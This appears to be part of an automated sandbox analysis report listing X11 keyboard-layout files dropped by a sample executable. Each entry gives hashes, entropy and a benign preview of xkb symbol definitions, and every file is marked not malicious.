SSDEEP:	24:7OL0WNRDxsZ6t8mgnA4vUemV097x478TYmQb3kjmZqW1L3pbVJ9/EO6CSIaB4Rr3:7OobgZCCV5dEhIhuS
MD5:	A2EFB3A587CBD278A06FF5FC548394A1
SHA1:	A5FB4E68D934299E57DB2AB628814405BEE72AA3
SHA-256:	0250030CB2973F685B04A0F8B2CF6D5F7D179F9393C9440BEFF3E6E670C1ABE5
SHA-512:	7DE88C74376C4ACFF68C4CBBF055A71E9D16B23CAA085547F6560347A9853A426F7F05D9E8822B978705907B3AF86A0A1A7C47015FB4BD54CC300B4C42FE4C65
Malicious:	false
Preview:	xkb_symbols "jp106" {.. name[group1]="Japan/ASCII";.. key <HZTG> { [ Zenkaku_Hankaku .. ] };. key <AE01> { [ 1, exclam ] };. key <AE02> { [ 2, quotedbl ] };. key <AE03> { [ 3, numbersign ] };. key <AE04> { [ 4, dollar ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, ampersand ] };. key <AE07> { [ 7, apostrophe ] };. key <AE08> { [ 8, parenleft ] };. key <AE09> { [ 9, parenright ] };. key <AE10> { [ 0, asciitilde ] };. key <AE11> { [ minus, equal ] };. key <AE12> { [ asciicircum, overbar ] };. key <AE13> { [ yen, bar ] };.. // keys <TAB> and <AD01> - <AD10> are id

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\sl-c3x00

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.205246832045105
Encrypted:	false
SSDEEP:	48:FZMnM6rbpUnqV2/+0h8xmo0OvJp7FHESOeL86LfT:FwpUnA2/+oHOxp7FHEzA7
MD5:	9AF6DD279F82496D88A949C3D16D9334
SHA1:	D3EC96B17D01F9CEEB4C4C34A97A0373E25BA60A
SHA-256:	F098BBF6996BABBB2A3D61D74AEDFAB1D6574863ECAB9090EC7336FACE0B2F61
SHA-512:	0FBAB3C742222B2FDD80061EB08223277B93A74B4E07E00C6E2E4E2C3615B0591CEBAB9B55417F72BD4EBBCA7761C2C2F0D3FCEAE58B887BA27131EE66FA5AC3
Malicious:	false
Preview:	// $NetBSD: sl-c3x00,v 1.1 2009/12/13 04:54:51 nonaka Exp $.// $OpenBSD: zaurus,v 1.2 2008/03/05 17:24:55 matthieu Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp SL-C3x00";...key <AE01> { [ 1, exclam ] };..key <AE02> { [ 2, quotedbl ] };..key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, dollar ] };..key <AE05> { [ 5, percent ] };..key <AE06> { [ 6, ampersand ] };..key <AE07> { [ 7, apostrophe ] };..key <AE08> { [ 8, parenleft ] };..key <AE09> { [ 9, parenright ] };..key <AE10> { [ 0, asciitilde ] };..key <BKSP> { type="CTRL+ALT",...symbols[Group1]= [ BackSpace, Terminate_Server ] };...key <AD01> { [ q, Q ] };..key <AD02> { [ w, W, asciicircum ] };..key <AD03> { [ e, E, equal ] };..key <AD04> { [ r, R, plus ] };..key <AD05> { [ t, T, bracketleft ] };..key <AD06> { [ y, Y, bracketright ] };..key <AD07> { [ u, U, braceleft ] };..key <AD08> { [ i, I, braceright ] };..key <AD09> { [ o, O ] };..key <AD10> { [ p, P ] };....key <TAB> { [ Tab, ISO_Left_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws003sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	5.098819126318392
Encrypted:	false
SSDEEP:	48:Fona6r2/OVHgE2N5BwMxQ1QJZESOPRfR76LfT:Ff/OJ2NrwboZEtPRa
MD5:	4C4CEF2FD50BE610C25E4CA66369FEA5
SHA1:	E828B1C106506D6E6D2F6F30B167081A212604AB
SHA-256:	E81D12A6A2F4EEBE7D2FC2CBC075E87E416C4F4C458D4E31BA22499CAF66DA62
SHA-512:	15006C88710344330DBB5F757ADF7159ABC2443F8D901F14231984C78B1797C4E8370C8C4ADD14CA096385CA48D9D7502F277B2E5A086E9A490AB7C38752F4FA
Malicious:	false
Preview:	// $NetBSD: ws003sh,v 1.1 2010/05/15 15:33:30 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS003SH";...key <AE01> { [ 1, exclam ] };..key <AE02> { [ 2, quotedbl ] };..key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, dollar ] };..key <AE05> { [ 5, percent ] };..key <AE06> { [ 6, ampersand ] };..key <AE07> { [ 7, apostrophe, grave ] };..key <AE08> { [ 8, parenleft, braceleft ] };..key <AE09> { [ 9, parenright, braceright ] };..key <AE10> { [ 0 ] };..key <AE11> { [ minus, equal, backslash ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };...key <AD01> { [ q, Q ] };..key <AD02> { [ w, W, asciicircum ] };..key <AD03> { [ e, E, asciitilde ] };..key <AD04> { [ r, R, bar ] };..key <AD05> { [ t, T ] };..key <AD06> { [ y, Y ] };..key <AD07> { [ u, U, bracketleft ] };..key <AD08> { [ i, I, bracketright ] };..key <AD09> { [ o, O, underscore ] };..key <AD10> { [ p, P, at ] };....key <TAB> { [ Tab, Tab, Escape ] };...key <AC01> { [ a, A ] };..ke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws007sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	5.099732119610092
Encrypted:	false
SSDEEP:	48:FN2nW6r2/OVHgE2N5BwMxQ1QJZESOPRfR76LfT:FNx/OJ2NrwboZEtPRa
MD5:	55EEFFB87228B43D0DEB4C8795F78EDE
SHA1:	16FC9C3CC2EA37DF267E60DFC6555E5F021B223D
SHA-256:	7FDEFBDFC0771510B571497324611749303B3D4AD16DE8A0B3A7BC6A773954DB
SHA-512:	ACABBF4DF62CE932E8DC1EE1F6D31534E844C60CD4A8CDE5505FFB5FACC1EAD0FAAEACD55E385893A9CCF169848B8BE64754D507DB06E4C131117081E4B5A261
Malicious:	false
Preview:	// $NetBSD: ws007sh,v 1.1 2010/05/15 15:33:30 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS007SH";...key <AE01> { [ 1, exclam ] };..key <AE02> { [ 2, quotedbl ] };..key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, dollar ] };..key <AE05> { [ 5, percent ] };..key <AE06> { [ 6, ampersand ] };..key <AE07> { [ 7, apostrophe, grave ] };..key <AE08> { [ 8, parenleft, braceleft ] };..key <AE09> { [ 9, parenright, braceright ] };..key <AE10> { [ 0 ] };..key <AE11> { [ minus, equal, backslash ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };...key <AD01> { [ q, Q ] };..key <AD02> { [ w, W, asciicircum ] };..key <AD03> { [ e, E, asciitilde ] };..key <AD04> { [ r, R, bar ] };..key <AD05> { [ t, T ] };..key <AD06> { [ y, Y ] };..key <AD07> { [ u, U, bracketleft ] };..key <AD08> { [ i, I, bracketright ] };..key <AD09> { [ o, O, underscore ] };..key <AD10> { [ p, P, at ] };....key <TAB> { [ Tab, Tab, Escape ] };...key <AC01> { [ a, A ] };..ke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws011sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2073
Entropy (8bit):	5.14831498681677
Encrypted:	false
SSDEEP:	48:Fv83nT4Mfc024BWFv2gEa99p4/QqFCESLlJHVfR76LfOyE/+rcs:Fv8kQsv2raLp7qFCEyzHV3/3s
MD5:	A1752B02448A86E5052F718786716F22
SHA1:	BF31071752F96834D99DA2642E8975347763E33F
SHA-256:	3DBFA2B7DB884D870FA7363DF2A8F5291EB9C17D318837DA2BE5FA22CD8ED671
SHA-512:	0F377F70945E5E7827C2DD2902F30CA0CAE2518742E14F64B7527961EC15F4D1BB726A714F8655A07FA144CAD037F86E5347E35F9B4AF0555D94E60E82F9771E
Malicious:	false
Preview:	// $NetBSD: ws011sh,v 1.2 2010/05/30 10:10:20 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS011SH";...key <HZTG> {...type[Group1] = "THREE_LEVEL",...symbols[Group1] = [ Zenkaku_Hankaku, Zenkaku_Hankaku, exclam ]..};...key <AD01> { [ q, Q, quotedbl ] };..key <AD02> { [ w, W, numbersign ] };..key <AD03> { [ e, E, dollar ] };..key <AD04> { [ r, R, percent ] };..key <AD05> { [ t, T, ampersand ] };..key <AD06> { [ y, Y, 1 ] };..key <AD07> { [ u, U, 2 ] };..key <AD08> { [ i, I, 3 ] };..key <AD09> { [ o, O, underscore ] };..key <AD10> { [ p, P, at ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };....key <TAB> { [ Tab, Tab, Escape ] };..key <AC01> { [ a, A, bracketleft ] };..key <AC02> { [ s, S, apostrophe ] };..key <AC03> { [ d, D, parenleft ] };..key <AC04> { [ f, F, parenright ] };..key <AC05> { [ g, G, asterisk ] };..key <AC06> { [ h, H, 4 ] };..key <AC07> { [ j, J, 5 ] };..key <AC08> { [ k, K, 6 ] };..key <AC09> { [ l, L, plus ] };..key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws020sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1849
Entropy (8bit):	5.192717913165905
Encrypted:	false
SSDEEP:	48:Fin7GvMfcJlBolWFv2gEa99p4/QqFCESLlJHVfR76LfT:FtR8lsv2raLp7qFCEyzHVa
MD5:	787A373BB491200E20EF59C70AB75E57
SHA1:	82C6A3AACF8D4FEB5E0BB9060F86A171FB1A7488
SHA-256:	6A21F4CD5699AF6910D466BC9A7D37E3BFE15EC2639A3B884F418F5A404D4EB9
SHA-512:	B55FA34C8CA30123409D5DD5A8F8ED83E43F4BC559D5ED092DCB15F4E40D3A7D7852689E848BD18DA68FB72B8F911D9E558B9579F133D0665AB59EC3364D68E7
Malicious:	false
Preview:	// $NetBSD: ws020sh,v 1.1 2010/05/25 13:12:51 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS020SH";...key <HZTG> {...type[Group1]="THREE_LEVEL",...symbols[Group1]= [ Zenkaku_Hankaku, Zenkaku_Hankaku, exclam ]..};...key <AD01> { [ q, Q, quotedbl ] };..key <AD02> { [ w, W, numbersign ] };..key <AD03> { [ e, E, dollar ] };..key <AD04> { [ r, R, percent ] };..key <AD05> { [ t, T, ampersand ] };..key <AD06> { [ y, Y, underscore ] };..key <AD07> { [ u, U, 1 ] };..key <AD08> { [ i, I, 2 ] };..key <AD09> { [ o, O, 3 ] };..key <AD10> { [ p, P, at ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };....key <TAB> { [ Tab, Tab, Escape ] };..key <AC01> { [ a, A, bracketleft ] };..key <AC02> { [ s, S, apostrophe ] };..key <AC03> { [ d, D, parenleft ] };..key <AC04> { [ f, F, parenright ] };..key <AC05> { [ g, G, asterisk ] };..key <AC06> { [ h, H, 4 ] };..key <AC07> { [ j, J, 5 ] };..key <AC08> { [ k, K, 6 ] };..key <AC09> { [ l, L, plus ] };..key <A

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\shift

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.099853281140986
Encrypted:	false
SSDEEP:	48:BGJeH7JZeH7jfVyZfDydlujDgv/gZRlzDwuycw8ydEVRv:3HaH3dyZry6vDpycPyoJ
MD5:	F9C7D60D79A719132E2234122C3C016D
SHA1:	DD48C339D712E49E014C48DAA5CF9590D71B80A1
SHA-256:	3DFD90DE85A8998A710EF1578851FE00A92451C777D02FC87A307E4873B95DD8
SHA-512:	D66F65D5E5181DF75056DDBAE097B9CFAB3425F1D5444D290E24353FC0693A63947207CAB8504718C8304C05D113040E2BD89B8218E9F06AB1778FCBCD7596DE
Malicious:	false
Preview:	// Cancel CapsLock when a Shift key is pressed..partial modifier_keys.xkb_symbols "breaks_caps" {. key <LFSH> {..type = "ALPHABETIC",. .actions [Group1] = [.. SetMods(modifiers=Shift),.. SetMods(modifiers=Shift+Lock,clearLocks)..]. };. key <RTSH> {..type = "ALPHABETIC",..actions [Group1] = [.. SetMods(modifiers=Shift),.. SetMods(modifiers=Shift+Lock,clearLocks)..]. };.};...// Toggle CapsLock when pressed together with the other Shift key..partial modifier_keys.xkb_symbols "lshift_both_capslock" {. key <LFSH> {. type[Group1]="TWO_LEVEL",. symbols[Group1] = [ Shift_L, Caps_Lock ]. };.};.// Toggle CapsLock when pressed together with the other Shift key..partial modifier_keys.xkb_symbols "rshift_both_capslock" {. key <RTSH> {. type[Group1]="TWO_LEVEL",. symbols[Group1] = [ Shift_R, Caps_Lock ]. };.};.partial modifier_keys.xkb_symbols "both_capslock" {. include "shift(lshift_both_capslock)". include "shift(rshift_both_capslock)".};...// Set CapsL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\si

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	636
Entropy (8bit):	4.990201622947849
Encrypted:	false
SSDEEP:	12:aBz160dlu6adJyqXaWz16VMuF9QasJyqXaMz16BKfMuFhnaMz1PJyqXaK:aT60zYJyqXaE6avJyqXaa6BMM6BJyqX1
MD5:	99523ED7B8CEEF68B41A5AC7C86153C1
SHA1:	988D9A3B0D63463FCB45EEB8D36029001344AF52
SHA-256:	531A079AFDA686FB793CD417E56D342E85A11760F3CC4538A6CE0CBE5A242202
SHA-512:	6D82A070E8E8C4A9E22116F374BAF588ACEBA28E5CC4CE55B8DDFADAA34AB3DC0B58A8BC1E67D3F36AD20952364F671C10C1F301D98DBB1AF09EDCA1B704DB3F
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Slovenian";.. include "rs(latin)".. key <TLDE> { type[Group1]="TWO_LEVEL", [ cedilla, diaeresis ] };.};..partial alphanumeric_keys .xkb_symbols "us" {.. name[Group1]= "Slovenian (US keyboard with Slovenian letters)";.. include "rs(latinyz)".. key <TLDE> { type[Group1]="TWO_LEVEL", [ cedilla, diaeresis ] };.};...partial alphanumeric_keys .xkb_symbols "alternatequotes" {.. name[Group1]= "Slovenian (use guillemets for quotes)";.. include "rs(latinalternatequotes)".. key <TLDE> { type[Group1]="TWO_LEVEL", [ cedilla, diaeresis ] };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5133
Entropy (8bit):	4.4013400262996205
Encrypted:	false
SSDEEP:	48:SW+3kqJOYnXaGsIyvgjobiI2jl0R+l85GyZttKt3cQZVVV3R:9qfnXSIrjobiI2JcDEMteVVV3R
MD5:	BC76D59D53E62F53A7F0EB565DB6A38D
SHA1:	4C9DBEFA0EEDDAB366EF046F5610F2A30E2AB070
SHA-256:	71E42FD159F98749062F2A43E41F7935CCA4A1AD9069147FC0CEF1940D01DF6E
SHA-512:	CACB130CF0585EB33E31B1E606CA3A0F644BBE40032EB0C426400493B5B4FE450001F2F39E4E40DF049344AAFE1886F01398DAA4AD956EF139E9FB4A3FDD2053
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {. . // This layout conforms to a new sk compromise standard designed . // to satisfy most unix, windows and mac users.. // 2001 by Kamil Toman <ktoman@email.cz>.. include "latin".. name[Group1] = "Slovak";.. key <TLDE>.{ [ semicolon, dead_abovering, grave, asciitilde ].};. key <AE01>.{ [ plus, 1, exclam, dead_tilde ].};. key <AE02>.{ [ lcaron, 2, at, dead_caron ].};. key <AE03>.{ [ scaron, 3, numbersign, dead_circumflex ] };. key <AE04>.{ [ ccaron, 4, dollar, dead_breve ].};. key <AE05>.{ [ tcaron, 5, percent, dead_abovering ] };. key <AE06>.{ [ zcaron, 6, asciicircum, dead_ogonek ].};. key <AE07>.{ [ yacute, 7, ampersand, dead_grave ].};. key <AE08>.{ [ aacute, 8, asterisk, dead_abovedot ] };. key <AE09>.{ [ iacute, 9,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	4.226994042601573
Encrypted:	false
SSDEEP:	24:aT605Q1NOanQ3KJ/i77kxnDoLI1kEX1pGO7l0Tov6y4bMS5yub1XhwdMf5rrQZQd:S5ori8DwOB0ECBASQucuxPWVnJVk
MD5:	566B403B0C61D0533694D913CC8FD586
SHA1:	5D09F8E44E48897B1184688231D791344A034FBF
SHA-256:	490AB996FD4F6F131E1809EA56A4E7703A8D9DE7F6FAB084D96E21CD67BE97BE
SHA-512:	CE576233844B794F6815578111CA420DE6F4396A2583840ED52F2FEC505A2E400B26A9CB1F21F0E469B471C3DD24459FC95EB17F445C3C1E61F22970F41FE367
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Wolof";.. key <AE01>.{ [ ampersand, 1, bar, NoSymbol ].};. key <AE02>.{ [ eacute, 2, asciitilde, Eacute ].};. key <AE03>.{ [ quotedbl, 3, numbersign, cedilla ].};. key <AE04>.{ [apostrophe, 4, braceleft, acute ].};. key <AE05>.{ [ parenleft, 5, bracketleft, diaeresis ].};. key <AE06>.{ [ minus, 6, bar, userenbar ].};. key <AE07>.{ [ egrave, 7, dead_grave, Egrave ].};. key <AE08>.{ [underscore, 8, backslash, macron ].};. key <AE09>.{ [ ccedilla, 9, asciicircum, Ccedilla ].};. key <AE10>.{ [ agrave, 0, at, Agrave ].};. key <AE11>.{ [parenright, degree, bracketright, ydiaeresis ].};. key <AE12>.{ [ equal, plus, braceright,threequarters ].};.. k

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sony_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2892
Entropy (8bit):	5.227732056767849
Encrypted:	false
SSDEEP:	48:aritctUOUqYQHEssz4INW3Z2rmUaOYCFYdwuphGWFuG1GNwthn/oIB2:zCzUqYQHKQgrTLQJhG+fGNkhZ2
MD5:	7DC5446BBFD4ED3574723F341451D25A
SHA1:	80605254484BC211AB80A6748D67D62F2847D8AA
SHA-256:	75AF4776410D500BB5429691F71A2357CFFAE95B4608BE087743653E08EF83B0
SHA-512:	7F59EF8D9ED68BDD948E0ED66EB8FAAFE82D1D1D15BF06A4B775014532B968A3112B943E2433457342729D1B23394C87893A6B669A4B0D00B6F982D4D76369BB
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\srvr_ctrl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	5.228463998604548
Encrypted:	false
SSDEEP:	24:IFfZH/AZnqmJe37GGJAV+DTmZ+mqshd+n2I6Rmb6ymoA2SodfZ11C1Nd8d1yf1xB:uftASGGJrEfumoAwdtClxf80aZY
MD5:	BAD48AE0CBE76B9DF266DFC126CAB4F6
SHA1:	E81F3A6F6BA9B2434726DF0A698B4C24C2A9AF96
SHA-256:	FDE58F8E665C7FC0913BE50C4436DA51D5D59439F90A8799EEC0A75D03DEC5C7
SHA-512:	9FD1F8115849CF253C8B19E7210098187792C5506AB528CB262002BC49AB1DD5421D9F7B9E400CDEFC9805D9A04B54EC2536F8CC49BE35B816EC12BA1418C9C0
Malicious:	false
Preview:	// Actions which control the server's behavior..partial keypad_keys function_keys.xkb_symbols "xfree86" {. include "keypad(operators)". include "srvr_ctrl(fkey2vt)".};..partial function_keys .xkb_symbols "fkey2vt" {.. key <FK01> {..type="CTRL+ALT",..symbols[Group1]= [ F1, F1, F1, F1, XF86_Switch_VT_1 ]. };.. key <FK02> {..type="CTRL+ALT",..symbols[Group1]= [ F2, F2, F2, F2, XF86_Switch_VT_2 ]. };.. key <FK03> {..type="CTRL+ALT",..symbols[Group1]= [ F3, F3, F3, F3, XF86_Switch_VT_3 ]. };.. key <FK04> {..type="CTRL+ALT",..symbols[Group1]= [ F4, F4, F4, F4, XF86_Switch_VT_4 ]. };.. key <FK05> {..type="CTRL+ALT",..symbols[Group1]= [ F5, F5, F5, F5, XF86_Switch_VT_5 ]. };.. key <FK06> {..type="CTRL+ALT",..symbols[Group1]= [ F6, F6, F6, F6, XF86_Switch_VT_6 ]. };.. key <FK07> {..type="CTRL+ALT",..symbols[Group1]= [ F7, F7, F7, F7, XF86_Switch_VT_7 ]. };.. key <FK08> {..type="CTRL+ALT",..symbols[Group1]= [ F8, F8, F8, F8, XF86_Switch_VT_8 ].

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ara

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6261
Entropy (8bit):	4.738891005203776
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNiBaGvGyYDLw3FH+I+EwVeVq:HtSQHV9cF51mrxcA0aL+VGt2q
MD5:	27E3CD97A48080CF5742770DCD92B08E
SHA1:	457CDAAA8D9303AEF810AB329A05B2283F8CE91B
SHA-256:	34A4537EE1F569FE3673FCAD9F645F541A06F702C2396A2ABE1D09C5EE475717
SHA-512:	01D0E2F74756D4553695B6E5BAA8F5B98CF5099FC8C878B96CF228D31FD8405E2C528E3E73ACD6E1827AF8ACA834FAC9F0E48F65AF0F3D98B18EFB766D5ADC49
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\be

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4871
Entropy (8bit):	4.658983333109741
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNacVoCInbA03mE:HtSQHV9cF51mrxccaCIbAax
MD5:	9A4D0D8FFB569ACD4218ECC9382C66BD
SHA1:	4D064CF7FCC734D6CCCC0CEEEF5B229CAFA52091
SHA-256:	D57CB377ABBB008F8BDFE35D38C4AF8025F38DA10A373B392012A475BCEC1D76
SHA-512:	FA4AAB8DDCCFFA1D4C2EE01A74F6A14067D87FF890CFD986D64ED3130FF8BAB27C29CB0BFF24FC2365654381B512A3AC0D127A5668849E0DE060B6E04FBE5D3D
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\br

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5334
Entropy (8bit):	4.574424825219508
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNaPpZ1TI0h/RM1ykz:HtSQHV9cF51mrxcr1TI0dRMYS
MD5:	1A61ABA29AD33F9E46CD99EB5629E53F
SHA1:	020CECBC5F938D8024B2916394FDE228489992AC
SHA-256:	9B5214DE357DAB245D994CC73262556EEA6B2C7919924286C49CE058C74B9365
SHA-512:	0FBA6E394D7D1C516C68BB49CDC386BCFCD171B797F7B7008F8A1243F083705A677DA2C963B0D7818D0E0271E7F77BDDD31632804A7D8A444C496B7E6096DC27
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ca

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5051
Entropy (8bit):	4.649000480549675
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNHNv/W9IE0LnxqcJUDr:HtSQHV9cF51mrxTv/W+E0LJJK
MD5:	05EA2E3AE10C09F0089D2A50726B39FF
SHA1:	36370CDB2B25EDCDC332C8F86AF089ECD1AE9F69
SHA-256:	4D2630A3D2FADF9335BB467BC926E3006F775ADD71A2AF8F8715D50E5753D7BD
SHA-512:	0B39020A96DED2D3282F3B542F86C64FD4D93DA2E1B68368E300D3D47A049B0106833440CB21FE9845BB7DBA0C6252B44CCB68D4BB0FCD85D49A6431F850052C
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ch

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6627
Entropy (8bit):	4.560056298235493
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNP4XuBxd+AiwfJuBxd+Amwd:HtSQHV9cF51mrxd4XuBH+AnfJuBX+Abd
MD5:	E1F853AFE490860D8E7BA7692050DB84
